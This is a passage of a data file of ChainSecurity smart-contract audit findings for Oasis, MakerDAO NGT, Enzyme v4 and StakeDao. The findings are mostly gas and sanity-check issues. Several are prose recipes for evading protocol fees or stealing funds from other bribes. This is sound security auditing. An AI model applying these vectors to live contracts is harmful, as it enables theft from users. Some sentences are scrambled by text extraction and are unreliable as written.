CriticalHighCodeCorrectedMediumCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedDesignHighVersion1CodeCorrected \fCode corrected The ImmutableProxy contract was removed. Instead, the Clones library is used to directly clone the AccountImplementation. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-position-manager/"}, {"title": "6.2 New Owner Cannot Permit", "body": " In AccountGuard, when an owner is initially set by the factory they also receive an entry in the allowed[caller][target] mapping. However, when changeOwner() is called, the new owner only receives an entry in the owners mapping but is not added to the allowed mapping. Hence, the new owner cannot call permit on the proxy they now own. Note that not even someone else who is allowed to permit on the proxy can admit the owner, as permitting the owner will revert with \"account-guard/cant-deny-owner\". The only way to allow the new owner would be to transfer ownership to someone else who is already allowed to permit. The owner would still be able to make transactions from the proxy, as canCall() always returns true for the owner, even if they are not allowed. Code corrected changeOwner now adds the new owner to the allowed addresses. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-position-manager/"}, {"title": "6.3 AccountGuard Variable Could Be Immutable", "body": " In AccountFactory, the AccountGuard variable is set in the constructor and then never changed. It could be made immutable to be more gas-efficient. Code corrected The variable has been made immutable. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-position-manager/"}, {"title": "6.4 Checking Conditions in", "body": " AccountImplementation When calling send() or execute() in the AccountImplementation, the following checks are performed: 1. First, the auth modifier checks that guard.canCall(address(this), msg.sender) returns true. 2. Next, it is checked that _target != address(0). 3. Lastly, the condition guard.isWhitelisted(_target) is checked. Here, the AccountGuard contract is called twice to check whether the call should be allowed. These calls could be combined into a single cross-contract call to reduce gas costs. Assuming that address(0) is never whitelisted, the second check is redundant. Oasis - PositionManager - 15 CorrectnessMediumVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fNote also that the same conditions are checked in both cases, hence they could be included into the auth modifier in order to reduce code duplication. Code corrected The calls to AccountGuard were combined into a single call of the new canCallAndWhitelisted function and moved into the auth modifier. The _target != address(0) check was removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-position-manager/"}, {"title": "6.5 Execute Does Not Forward Revert Reason", "body": " In AccountImplementation, execute() reverts with (0,0) if the delegatecall fails. It does not revert with the revert reason from the delegatecall. It would be easier for users to debug their reverted transactions if the revert reason contained information from the delegatecall. Code corrected The return data is now copied and returned. If the delegatecall fails, the revert reason will be returned. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-position-manager/"}, {"title": "6.6 Floating Compiler and Dependency Versions", "body": " Oasis uses the floating pragma solidity ^0.8.9. Contracts should be deployed with the same compiler version and flags that have been used during testing and audit. Locking the pragma helps to ensure that contracts do not accidentally get deployed using, for example, an outdated compiler version negatively that (https://github.com/SmartContractSecurity/SWC-registry/blob/b408709/entries/SWC-103.md). introduce contract system affect might bugs that the In hardhat.config.ts, the compiler version 0.8.17 is specified. The versions of the contract libraries in package.json are also not fixed. In particular: \"@openzeppelin/contracts\": \"^4.7.3\" The caret ^version will accept all future minor and patch versions while fixing the major version. With new versions being pushed to the dependency registry, the compiled smart contracts can change. This may lead to incompatibilities with older compiled contracts. If the imported and parent contracts change the storage slot order or change the parameter order, the child contracts might have different storage slots or different interfaces due to inheritance. In addition, this can lead to issues when trying to recreate the exact bytecode. Code corrected The Solidity compiler version has been specified as exactly 0.8.17 for all contracts in scope. The OpenZeppelin version has been specified as exactly version 4.7.3 in package.json. Oasis - PositionManager - 16 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f6.7 Function Visibility Can Save Gas Reducing a function's visibility from public to external saves gas. The following functions could be defined as external: AccountFactory.createAccount() AccountGuard.isWhitelisted() AccountGuard.setWhitelist() AccountGuard.initializeFactory() AccountImplementation.send() AccountImplementation.execute() MakerMigrationsActions.migrateMaker() MakerMigrationsActions.migrateAdditionalVaults() McdView.getRatio() McdView.getMakerProxy() Additionally, the self storage variable in MakerMigrationsActions should not be public, as it only contains the address of the contract itself. Hence, making it private or internal reduces bytecode size as the getter is unnecessary. Code corrected The mentioned functions in AccountGuard, AccountFactory, and AccountImplementation have been changed to external. The visibility of the self storage variable in MakerMigrationsActions was changed to private. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-position-manager/"}, {"title": "6.8 Incorrect Error Messages", "body": " The auth modifier in AccountImplementation and the permit() function in AccountGuard both revert with the error message \"account-guard/not-owner\". However, the owner is actually not the only user that is checked for. In both cases, it is checked whether the msg.sender is the owner OR has been permitted. The error message makes it seem like only the owner is allowed to use these functions. Also, migrateAdditionalVaults the message \"factory/already-migrated\" in case it is called from an address that has not yet migrated. This error message states the opposite of what actually happened. in MakerMigrationsActions reverts with Code corrected permit() The with \"account-guard/no-permit\". The revert message in migrateAdditionalVaults was also changed. authandWhitelisted modifier function revert now and Oasis - PositionManager - 17 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f6.9 Increment Can Be Done in Event to Save Gas In AccountFactory, createAccount() increments the accountGlobalCounter variable. Later, it is emitted in the AccountCreated event. This means it must be loaded from storage twice. The accountGlobalCounter could be cached or incremented in the event emission, which would save one SLOAD operation and be more gas-efficient. Code corrected The value of the counter is now cached after being incremented. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-position-manager/"}, {"title": "6.10 Missing Sanity Checks", "body": " Sanity checks on values are missing in several places. This makes it more likely for incorrect values to accidentally be set. In AccountFactory.createAccount(address user), address(0). it is possible for user to be In AccountGuard.changeOwner(address newOwner, address target), it is possible for newOwner to be address(0). In the AccountImplementation constructor, _guard could be address(0). In the MakerMigrationsActions constructor, _serviceRegistry could be address(0). Code corrected Sanity checks have been added to all mentioned functions. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-position-manager/"}, {"title": "6.11 Redundant Initializations", "body": " Some storage variables are initialized to their default values, which is redundant and wastes gas. In the AccountFactory constructor, accountsGlobalCounter is initialized to 0. In AccountGuard, factory is initialized to address(0). Code corrected Both redundant initializations were removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-position-manager/"}, {"title": "6.12 Separate Whitelists", "body": " Oasis - PositionManager - 18 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fThe AccountImplementation allows calls and delegatecalls to any whitelisted contracts. Currently, there is just one whitelist for both cases. However, there may be some contracts that are safe to call but not delegatecall or vice versa. Code corrected The whitelisted mapping of the AccountGuard now contains a (bool => bool) mapping. This extra bool lookup parameter allows specifying whether a specific address is whitelisted for regular calls, delegatecalls, or both. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-position-manager/"}, {"title": "6.13 Unnecessary Checks", "body": " permit() in AccountGuard has the following check: if (msg.sender == factory && allowance) The AccountFactory only has one function that calls permit(). It always calls it with allowance set to true. Hence, just checking for msg.sender == factory is equivalent, as allowance is always true if this holds (unless AccountFactory is changed in the future). There are also unnecessary checks in send() and execute() in AccountImplementation, which are described in Checking Conditions in AccountImplementation. These checks can be removed to save gas. Code corrected The check for allowance has been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-position-manager/"}, {"title": "6.14 Unused Imports", "body": " There are several imported files which are never used: In AccountFactory: \"./interfaces/IProxyRegistry.sol\" \"./interfaces/ManagerLike.sol\" \"./interfaces/IServiceRegistry.sol\" \"./utils/Constants.sol\" (AccountFactory inherits from it but no values are used) In AccountGuard: \"@openzeppelin/contracts/proxy/Proxy.sol\" Code corrected The unused imports were removed. Oasis - PositionManager - 19 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-position-manager/"}, {"title": "7.1 Permissions Stay When Changing Owner", "body": " When the changeOwner() function of AccountGuard is called, the permissions of the old owner are revoked. However, the permissions of all other addresses are unaffected. Any addresses that were permitted by the old owner will still have permissions unless the new owner calls permit() to remove them. Anyone receiving ownership over a proxy should ensure they trust all permitted addresses before using it. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-position-manager/"}, {"title": "7.2 Proxy Storage Layout", "body": " The AccountImplementation allows delegatecalls into arbitrary whitelisted contracts. Such a contract could read/write to storage. If two different contracts are delegatecalled that both use the same storage slots, they may conflict with each other and read data written by the other contract. The AccountGuard owner should keep this in mind when whitelisting contracts. They should either not whitelist conflicting contracts or explicitly warn users not to use multiple contracts that use the same storage from the same proxy. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-position-manager/"}, {"title": "7.3 send Function Name Is Confusing", "body": " The send function of AccountImplementation has a lot more functionality than just sending ETH. It can be used to call arbitrary functions on any whitelisted contract. This is not obvious from the function name and could be confusing to users. Oasis - PositionManager - 20 NoteVersion1NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-position-manager/"}, {"title": "6.1 MkrNgt Converter Can Be Paused if MKR Is", "body": " Paused The MkrNgt converter itself is permissionless, however, if MKR token is paused, the converter will be indirectly paused as mint() and burn() will revert on MKR. MakerDAO - NGT - 10 NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/maker-ngt/"}, {"title": "5.1 Funds Can Avoid Paying Protocol Fees", "body": " Consider a fund that has not enabled autoProtocolFeeSharesBuyback and assume that over time the protocol fee reserve has accrued a sizeable amount of shares of this fund. The fund, through its manager, can avoid paying protocol fees by employing the following vector: 1. Move all assets of the CompoundDebtPosition available as an external position, this means exchanging all of the vaults holdings into a cToken and transferring it to the external position. to an external position. Currently, with only the vault 2. Remove the external position. Note that, at this point, the GAV of the fund is close to 0. 3. Call buyBackProtocolFeeShares which calculates a really low price per share. This means that only a small amount of MLN tokens needs to be burnt to burn the protocol fee shares and, thus, pay back the fee. 4. Reactivate the external position and move the funds back. Note that a similar vector can be used by the fund manager to avoid minting protocol fees while migrating or reconfiguration the fund. The opportunistic behavior of the manager against the users of the fund is well documented. However, adversarial actions against the protocol are not mentioned. Note that the underlying problem, a manipulated lower GAV due to hiding assets of the fund in a removed external position can also be abused by the fund manager to buy shares for a low price. Acknowledged: Avantgarde Finance - Enzyme Protocol v4 Sulu - 11 DesignCorrectnessCriticalHighMediumAcknowledgedLowCodePartiallyCorrectedAcknowledgedAcknowledgedDesignMediumVersion1Acknowledged \fAvantgarde Finance responded: As the audit team importantly noted, this issue only potentially affects the protocol fee amount ultimately burned, and does not impact end users of the protocol. Hence, rather than changing the core contracts for this release to protect against the reported deviant behavior, we have decided to combine the monitoring of blatant protocol fee violations with potential on- and off-chain penalties. Deviant behavior can monitored off-chain by comparing each shares buyback event with the last known share price. If the Council assesses that there is a blatant attempt to evade protocol fees, it would be possible, for example, to restrict buying back shares by upgrading the ProtocolFeeReserveProxy contract to disallow particular funds. We can reevaluate for subsequent releases whether or not to prevent this behavior at the core protocol level. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-protocol-v4-sulu/"}, {"title": "5.2 Untracked WETH", "body": " A fund owner can withdraw the Ether that has been deposited to the paymaster account by calling GasRelayPaymasterLib.withdrawBalance. At this point Ether will be transferred to the vault and wrapped into WETH. However, there is no guarantee that WETH is a tracked asset for the fund. Code Partially Corrected: When ComptrollerLib.shutdownGasRelayPaymaster is called, WETH is added to the tracked assets. Avantgarde Finance responded: It is highly unlikely that a fund using a paymaster would not have WETH as a tracked asset. Still, we have added a call to track WETH as a tracked asset when shutdownGasRelayPaymaster() is called from the ComptrollerProxy. It is more difficult - and best not - to attempt to validate whether WETH is a tracked asset when calling withdrawBalance() directly from the paymaster lib, since it can be called after a fund has migrated to a new release, at which point, the interface of its new VaultLib should not be assumed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-protocol-v4-sulu/"}, {"title": "5.3 AddressListRegistry Gas Inefficiency", "body": " AddressListRegistry stores ListInfo using the mapping itemToIsInList. The type of the mapping is mapping(address => bool). However, it would be more gas efficient to set its type to address => uint256 which omits the masking operation required to handle the boolean values. Acknowledged: Avantgarde Finance responded: We acknowledge the technical efficiency, but in practice the gas savings is insignificant within the context of the protocol, and the use of bool is more intuitive. Avantgarde Finance - Enzyme Protocol v4 Sulu - 12 CorrectnessLowVersion2CodePartiallyCorrectedDesignLowVersion2Acknowledged \f5.4 Redundant Check In FundDeployer.__redeemSharesSetup, the following snippet exists: } else if (postFeesRedeemerSharesBalance < preFeesRedeemerSharesBalance) { ... preFeesRedeemerSharesBalance.sub(postFeesRedeemerSharesBalance) ); } Note case postFeesRedeemerSharesBalance < preFeesRedeemerSharesBalance. redundant that use this the sub of in is since it holds: Acknowledged: Avantgarde Finance responded: Currently, we generally use SafeMath for math operations rather than making judgements about where or where not to use it. Avantgarde Finance - Enzyme Protocol v4 Sulu - 13 DesignLowVersion1Acknowledged \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings -Severity Findings redeemSharesForSpecificAssets Fails For Derivatives -Severity Findings Incorrect redemptionWindowBuffer Check Shadowed Constant Missing Indexes in Events 0 0 1 3 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-protocol-v4-sulu/"}, {"title": "6.1 redeemSharesForSpecificAssets Fails For", "body": " Derivatives In Sulu, users are allowed to redeem specific assets. According to the documentation: The redeemer specifies one or multiple of the VaultProxy's ERC20 holdings along with the relative values of each to receive (for a total of 100%). However, if an ERC20 token which represents a derivative is specified as a payout asset then the redemption will fail. The call in __payoutSpecifiedAssetPercentages fails for non primitive assets due the the valueInterpreter: the calcCanonicalAssetValue of require statement shown below to in payoutAmounts_[i] = IValueInterpreter(getValueInterpreter()).calcCanonicalAssetValue( denominationAssetCopy, _owedGav.mul(_payoutAssetPercentages[i]).div(ONE_HUNDRED_PERCENT), _payoutAssets[i] ); function calcCanonicalAssetValue( ... require( isSupportedPrimitiveAsset(_quoteAsset), \"calcCanonicalAssetValue: Unsupported _quoteAsset\" ); ... Note that simply removing the requirement is not enough since the ValueInterpreter can only handle conversions to primitive assets due to the implicit requirement that the quote asset has a Chainlink price feed. Avantgarde Finance - Enzyme Protocol v4 Sulu - 14 CriticalHighMediumCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCorrectnessMediumVersion1CodeCorrected \fCode Corrected: ValueInterpreter.calcCanonicalAssetValue now supports the conversion from a primative asset to a derivative asset. This is done by calculating the price of the derivative asset against the primative one and the inverting. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-protocol-v4-sulu/"}, {"title": "6.2 Incorrect redemptionWindowBuffer Check", "body": " Certain actions through adapters e.g. exchanging Synths through the Synthetix adapter may block the transfer of the asset for a period of time. The GuaranteedRedemptionPolicy ensures that a redemption blocking adapter is not used during the redemption window nor a buffer period before the start of the guaranteed redemption window. This ensures redemption is possible during a guaranteed time window every day. uint256 latestRedemptionWindowStart = calcLatestRedemptionWindowStart( redemptionWindow.startTimestamp ); // A fund can't trade during its redemption window, nor in the buffer beforehand. // The lower bound is only relevant when the startTimestamp is in the future, // so we check it last. if ( block.timestamp >= latestRedemptionWindowStart.add(redemptionWindow.duration) || block.timestamp <= latestRedemptionWindowStart.sub(redemptionWindowBuffer) ) { return true; } return false; The comment describing the code is not entirely accurate. Three cases have to be distinguished I. A fund can't trade during its redemption window II.a. A fund can't trade in the buffer before the next redemption window II.b. If startTimestamp is in the future, a fund can't trade in the buffer before the first redemption window Note that calcLatestRedemptionWindowStart() returns either the start timestamp of the latest redemption window or, in case startTimestamp is still in the future, the startTimestamp. The current code checks condition (I) and (IIb) but does not check (IIa). Hence, in case we are past startTimestamp and there exists a latestRedemptionWindowStart timestamp in the past, a trade in the buffer window before the start of the next guaranteed redemption period is not prevented and such a trade may prevent redemption in the guaranteed redemption timeframe. Code Corrected: In the current implementation, the startTimestamp is required to be in the past. Moreover, the redemptionWindowBuffer is now subtracted from the latestRedemptionWindowStart with the addition of one day. Avantgarde Finance - Enzyme Protocol v4 Sulu - 15 CorrectnessLowVersion2CodeCorrected \fif ( block.timestamp > latestRedemptionWindowStart.add(redemptionWindow.duration) && block.timestamp < latestRedemptionWindowStart.add(ONE_DAY).sub(redemptionWindowBuffer) ) { return true; } ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-protocol-v4-sulu/"}, {"title": "6.3 Shadowed Constant", "body": " UniswapV2PoolPriceFeed inherits UniswapV2PoolTokenValueCalculator. Both contracts define a constant uint256 private constant POOL_TOKEN_UNIT = 10**18;. Code Corrected: The shadowing variable has been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-protocol-v4-sulu/"}, {"title": "6.4 Missing Indexes in Events", "body": " in ComptrollerLib could use The PreRedeemSharesHookFailed event for address of the PreRedeemSharesHookFailed and BuyBackMaxProtocolFeeSharesFailed could be indexed since it could facilitate queries for specific errors. FailureReturnData redeemer. Moreover, indexes bytes Code Corrected: The missing indexes have been added. Avantgarde Finance - Enzyme Protocol v4 Sulu - 16 DesignLowVersion2CodeCorrectedDesignLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-protocol-v4-sulu/"}, {"title": "7.1 Overestimation Of Fund's Value Under", "body": " Pending Liquidation During the calculation of the GAV of a fund, the value of the collateral held by an external position is taken into consideration. The calculation takes into account the fact that borrowed amount of an external position is to be returned and, thus, this amount is subtracted from the total collateral held. However, the calculation ignores a potential liquidation. Assume an external position that holds 100 cDAI and has borrowed 75 dollars worth of ETH with a collateral factor of 75%. Assume now that the value of ETH has increased so that the external owes 80 dollars. When the GAV is calculated the external position will be evaluated as 100 - 80 = 20 dollars. Since the position is undercollateralized, a liquidation could be triggered. Note that during liquidations, users are incentivized to pay back the borrowed amount with an 8% discount for the collateral. When the liquidation takes place then the real value of the external position will be roughly 100 - 86.4 = 13.6. Users should be aware of that behavior which might lead to fluctuations in the GAV of the fund. Moreover, the front end of Enzyme should indicate potentially undercollateralized external positions to users prior to investing. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-protocol-v4-sulu/"}, {"title": "7.2 Reverting Relayed Call Paid By The Fund", "body": " According to the GSN protocol, in case GasRelayPaymaster.preRelayedCall fails then the execution is aborted. However, there might be the case where the preRelayedCall succeeds but the relayed transaction fails. In this case, the fund will still pay for the gas. An interesting case is the following. The preRelayCall requires the original _relayRequest.request.from to be an authorised entity for the vault i.e., the owner or an asset manager or a migrator. However, some of the authorised calls allowed by the preRelayedCall further restrict the allowed entities. For example, a call to an integration is limited to only the owner and the asset manager. This means that in case the migrator tries to execute this function, the transaction will fail but paymaster will pay for the gas. We assume, however, that the migrator is a trusted role who will not act against the system. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-protocol-v4-sulu/"}, {"title": "7.3 Sandwiching Authorized Actions", "body": " An authorized user for a fund can use GSN to execute authorized actions. Is important to note that due to the fact that the relayer acts as an intermediary, it is easier for them to sandwich these transactions. For example, a relayer can sandwich the buyBackProtocolFeeShares and make a profit. Notice that when buying back shares the value of the shares increases since the shares which correspond to the protocol fee are burnt. Avantgarde Finance - Enzyme Protocol v4 Sulu - 17 NoteVersion1NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-protocol-v4-sulu/"}, {"title": "5.1 Unkill Function Allows Claiming After Closing", "body": " Function unKill(), only callable by the PlatformFactory contract owner, allows to reset isKilled to false. If a bribe manager calls closeBribe() while the Platform is killed, and the platform is then unkilled, the bribe becomes claimable again, even though the left over funds have been transferred by closeBribe(). Users can claim their bribes and the funds will be taken from other bribes sharing the same tokens. Risk accepted StakeDao accepts the risk but already fixed the issue by removing the unkill function in the latest code version that was not included in the audit. StakeDao - Bribe Platform - 9 SecurityDesignCorrectnessCriticalHighMediumRiskAcceptedRiskAcceptedRiskAcceptedRiskAcceptedLowAcknowledgedCodePartiallyCorrectedRiskAcceptedRiskAcceptedAcknowledgedAcknowledgedRiskAcceptedSecurityMediumVersion2RiskAccepted \f5.2 Bribe Manager Can Deny Bribe by Decreasing maxRewardPerVote The bribe manager can use increaseBribeDuration() to queue a decrease of maxRewardPerVote to close to 0 just before the start of a claiming period, to rug the expected bribe of users who have already voted. Risk accepted StakeDao states that they accept the risk. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-bribe-platform/"}, {"title": "5.3 GaugeController Not Checkpointed Before", "body": " First Period Update The GaugeController is not checkpointed in _updateRewardPerToken(). If no vote has been cast on the gauge before the first period, _getAdjustedBias() will return 0 instead of the actual value, or might revert if blacklisted users cause an underflow to happen. This can cause the reward to become unclaimable for some voters. Risk accepted StakeDao states: While it would cause an issue for the first period with old vote users not being able to claim their rewards, it would be solved by the next period with the rolling over. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-bribe-platform/"}, {"title": "5.4 Repeated Addresses in Bribe Blacklist Cause", "body": " Total Bias Under Estimation in the blacklist, Newly created bribes can have repeated addresses in the blacklist. If an address is present multiple times in _getAdjustedBias(), and the function might return a value smaller than the cumulative bias of potential claimers. rewardPerToken can therefore be manipulated upward by inserting repeated addresses in the blacklist. its bias will be deducted multiple total bias times from the Risk accepted StakeDao states that they accept the risk. StakeDao - Bribe Platform - 10 SecurityMediumVersion1RiskAcceptedCorrectnessMediumVersion1RiskAcceptedSecurityMediumVersion1RiskAccepted \f5.5 Error Messages and Event Usage 1. In PlatformFactory, StakeDao might consider adding an event to the state change in setFeeCollector. 2. In Platform, the error messages INVALID_GAUGE is not used. Acknowldeged StakeDao acknowledges the issue. No actions are taken. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-bribe-platform/"}, {"title": "5.6 Gas Optimizations", "body": " 1. Double external call to vote_user_slopes in _claim(), at line 385 - 387 2. The function getActivePeriod is redundant since activePeriod is already public and will implicitly define an external getter 3. _updateRewardPerToken calls getCurrentPeriod which was in both execution flows called right before in the parent function 4. getPeriodsLeft and getActivePeriodPerBribe copy the entire Bribe struct from storage to memory, but only use 2 of the fields from the struct. This causes unnecessary SLOAD operations to be performed, at a cost that scales linearly with the size of the blacklist. Code partially corrected getCurrentPeriod() is now only called once. The two other potential optimizations were not applied. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-bribe-platform/"}, {"title": "5.7 Incorrect User Bias Calculation", "body": " The internal _getAddrBias() function returns 0 if currentPeriod + _WEEK >= endLockTime. However, as long as endLockTime is bigger than currentPeriod the user has voting power. Indeed, in its time progression, a user bias will incorrectly go from slope * 3 * WEEK to slope * 2 * WEEK to 0 while skipping slope * 1 * WEEK. Risk accepted StakeDao is aware of the issue but decided to accept the risk and leave the code as it is. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-bribe-platform/"}, {"title": "5.8 Missing Sanity Checks", "body": " The following arguments are not checked or are insufficiently checked if they make sense: StakeDao - Bribe Platform - 11 DesignLowVersion1AcknowledgedDesignLowVersion1CodePartiallyCorrectedCorrectnessLowVersion1RiskAcceptedDesignLowVersion1RiskAccepted \fIn Platform.createBribe the variable manager (address zero check), maxRewardPerVote (zero check) and a check for rewardPerPeriod as it could be zero after the division with numberOfPeriods In Platform.updateManager there is no sanity check for address zero In Platform._claim() it is not checked that the bribe exists In PlatformFactory setting the fee collector and transferring the owner are not checked for address zero Risk accepted StakeDao states that they accept the risk. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-bribe-platform/"}, {"title": "5.9 Naming Issues, NatSpec Missings, Incorrect", "body": " Comments, Typos In Platform.sol: 1. line 104, missing @notice for Upgrade struct 2. line 126, incorrect grammar: Minimum duration a Bribe 3. line 158, rewardPerToken naming is ambiguous, the variable value is better understood as the reward per vote not the reward per token. 4. line 254, Target bias for the gauge, incorrect NatSpec on parameter maxRewardPerVote 5. In createBribe() NatSpec, missing parameters upgradeable and manager. 6. line 503: comment says called once per Bribe, however the function is called multiple times on the first period, but the condition is only true on first call. 7. line 640: _additionnalPeriods declaration contains a typo 8. getActivePeriod and getActivePeriodPerBribe are named ambiguously, they do very different things but share almost the same name Acknowldeged StakeDao acknowledges the issue. No actions are taken. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-bribe-platform/"}, {"title": "5.10 Unused Imports", "body": " The contract PlatformFactory imports ERC20 but does not use it. Acknowldeged StakeDao acknowledges the issue. No actions are taken. StakeDao - Bribe Platform - 12 DesignLowVersion1AcknowledgedDesignLowVersion1Acknowledged \f5.11 safeTransfer Functions Do Not Check Contract Existence The safeTransfer and safeTransferFrom functions of solmate's safeTransferLib do not check that the token contract actually exists. If called with a token address that doesn't contain code, the calls will succeed even if no transfer is performed. This could be an issue when a token will be deployed at a predictable address. Risk accepted StakeDao states that they accept the risk. StakeDao - Bribe Platform - 13 SecurityLowVersion1RiskAccepted \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings Adjusted Bias Measured Possibly Too Late -Severity Findings Queued Upgrade Still Taken in Account After Closing Bribe -Severity Findings closeBribe Does Not Refund Tokens Added in Upgrade -Severity Findings 1 1 1 0 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-bribe-platform/"}, {"title": "6.1 Adjusted Bias Measured Possibly Too Late", "body": " The amount of excluded votes belonging to the users in the blacklist are counted by the internal function _getAdjustedBias for the recently concluded period when _updateBribePeriod() is called. However, the period update only happens when users interact with the contract. Between the start of the new voting period (timestamp / WEEK * WEEK) and the time _updateBribePeriod() is called, a blacklist user can cast a new vote on the gauge, which is incorrectly counted by ``_getAdjustedBias() as belonging to the previous period. rewardPerToken at period T is computed as rewardPerToken(T) = rewardPerPeriod / (total_bias(T) - omitted_reward(T_blacklisted_last_vote)) So the periods of total_bias and omitted_reward might not match. Since the bribe creator has full control on who to include in the blacklist and what gauge to set the bribe on, they can make rewardPerToken as high as they desire by making the denominator arbitrarily small that with bribe.totalRewardAmount is not exceeded when distributing the reward, a dishonest bribe creator can use this bug to steal funds from other bribes. control. Since _claim() blacklisted doesn't check user they that a Code corrected A check has been added so that subtracting the bias of a blacklisted user is only performed if the blacklisted user has voted before the start of the period. Otherwise bias is not deducted and rewarded users get a bit less. _lastVote = gaugeController.last_user_vote(_addressesBlacklisted[i], gauge); if (period > _lastVote) { _bias = _getAddrBias(userSlope.slope, userSlope.end, period); gaugeBias -= _bias; } StakeDao - Bribe Platform - 14 CriticalCodeCorrectedHighCodeCorrectedMediumCodeCorrectedLowSecurityCriticalVersion1CodeCorrected \fA check is also bribe.totalRewardAmount. introduced so that the cumulative bribe payout never exceeds the ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-bribe-platform/"}, {"title": "6.2 Queued Upgrade Still Taken in Account After", "body": " Closing Bribe A queued upgrade for a bribe can still be taken in account after the manager has closed the bribe with closeBribe. If it is the case, then part of the following rewards distributed are stolen from other bribes. Once the bribe is closed by the manager, claiming again will update the bribe and reset the endTimestamp in the future, without taking in account the totalRewardAmount - amountClaimed amount withdrew by the manager. Using this attack to steal all the funds of the contract is possible with no risks, but would necessitate at least the same amount of tokens that the attacker wants to steal and being able to lock them for multiple weeks. Code corrected The upgrade is now deleted from the queue when closeBribe() is called. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-bribe-platform/"}, {"title": "6.3 closeBribe Does Not Refund Tokens Added in", "body": " Upgrade When a bribe is closed while an upgrade is queued, the unclaimed amount will be refunded to the bribe manager, but not the additional _increasedAmount added in the queued upgrade. Code corrected During the closing of a bribe, if there is an upgrade in the queue, instead of transferring back total reward amount - amount claimed, the total amount after the upgrade is used. StakeDao - Bribe Platform - 15 SecurityHighVersion1CodeCorrectedDesignMediumVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-bribe-platform/"}, {"title": "7.1 Interface Definitions", "body": " To indicate a file is an interface, the naming convention is to prepend an I to the file name. The interface SmartWalletChecker and VeToken is for test purposes only. Interfaces used only for test purposes are usually separated into test folders. The following interfaces are defined but not used: GaugeController: In gauge_relative_weight_write, get_total_weight, get_gauge_weight, add_type (only in tests), admin. gauge_relative_weight, add_gauge tests), (only for WEIGHT_VOTE_DELAY, gauge_relative_weight, ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-bribe-platform/"}, {"title": "7.2 claimable() Might Return Incorrect Values", "body": " Due to the nature of view functions not being able to change state, the 